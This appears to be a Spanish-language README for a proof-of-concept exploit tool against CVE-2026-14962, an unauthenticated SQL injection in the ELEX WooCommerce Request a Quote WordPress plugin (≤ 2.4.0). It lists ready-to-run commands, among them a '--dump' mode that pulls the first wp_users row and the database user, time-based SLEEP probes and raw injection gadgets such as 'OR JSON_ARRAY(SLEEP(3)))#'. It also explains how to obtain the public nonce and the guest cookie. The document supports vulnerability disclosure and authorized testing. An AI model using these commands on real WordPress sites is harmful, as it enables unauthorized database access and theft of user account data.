
Plugin de Wordpress ELEX WooCommerce Request a Quote inyección SQL no autenticada
Inyección SQL no autenticada en el plugin de WordPress ELEX WooCommerce Request a Quote
ELEX WooCommerce Request a Quote (plugin de WordPress elex-request-a-quote) ≤ 2.4.0 — inyección SQL no autenticada a través de la acción AJAX pública elex_raq_add_to_quote.
Solo para pruebas autorizadas. No ejecutes esto contra sistemas que no sean de tu propiedad o que no tengas permiso para probar.
Requiere: Python 3, solo biblioteca estándar. El objetivo debe ejecutar WooCommerce (los scripts/nonce de cotización se imprimen en la página de la tienda/inicio).
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --test
python3 cve-2026-14962-elex-raq-sqli.py -u https://TARGET --test --insecure
python3 cve-2026-14962-elex-raq-sqli.py -u TARGET --test
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --dump
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --dump --pid 11
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --sleep 3
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --sql 'OR JSON_ARRAY(SLEEP(3)))#'
| Flag | Qué hace |
|---|
-u / --url | Raíz del sitio WordPress (obligatorio). http:// o https://; un nombre de host se prueba primero como HTTPS y luego como HTTP. El TLS autofirmado se reintenta automáticamente. --insecure omite la verificación desde el principio |
--test | Invitado: versión del plugin + nonce público, luego una sonda SQL no destructiva de $0 |
--dump | Primera fila de wp_users + usuario de la BD. Necesita WP_DEBUG para que el error XPATH esté en el cuerpo HTTP |
--query SQL | Tu propia expresión SQL (sin comillas simples; usa hexadecimal 0x… para cadenas) |
--sql EXPR | data[id] sin procesar después del escape de $0$0 (tú escribes el gadget ) OR … #) |
--sleep N | Intento de SLEEP(N) basado en tiempo |
--pid / --vid | IDs de producto / variación de WooCommerce (la variación debe ser no vacía para alcanzar el sink) |
--insecure | Omitir la verificación TLS |
--timeout | Segundos de timeout HTTP (por defecto 30) |
No autenticado. El nonce se imprime en request_a_quote_ajax_obj en / y /shop/. La cookie de invitado es request_a_quote_user_coockie (la ortografía del plugin).
--test envía por POST attribute_value=$0. El preg_replace vulnerable de 2.4.0 trata $0 como la coincidencia de %s y deja un %d literal en la consulta. 2.4.1 vincula JSON_CONTAINS y $0 es solo un valor JSON.
Stdout: VERSION, NONCE, VULNERABLE, NOT_VULNERABLE, NOT_FOUND, NO_NONCE, NO_DUMP, SQLERR, SLEEP.
CVE: CVE-2026-14962. Changelog del plugin 2.4.1.
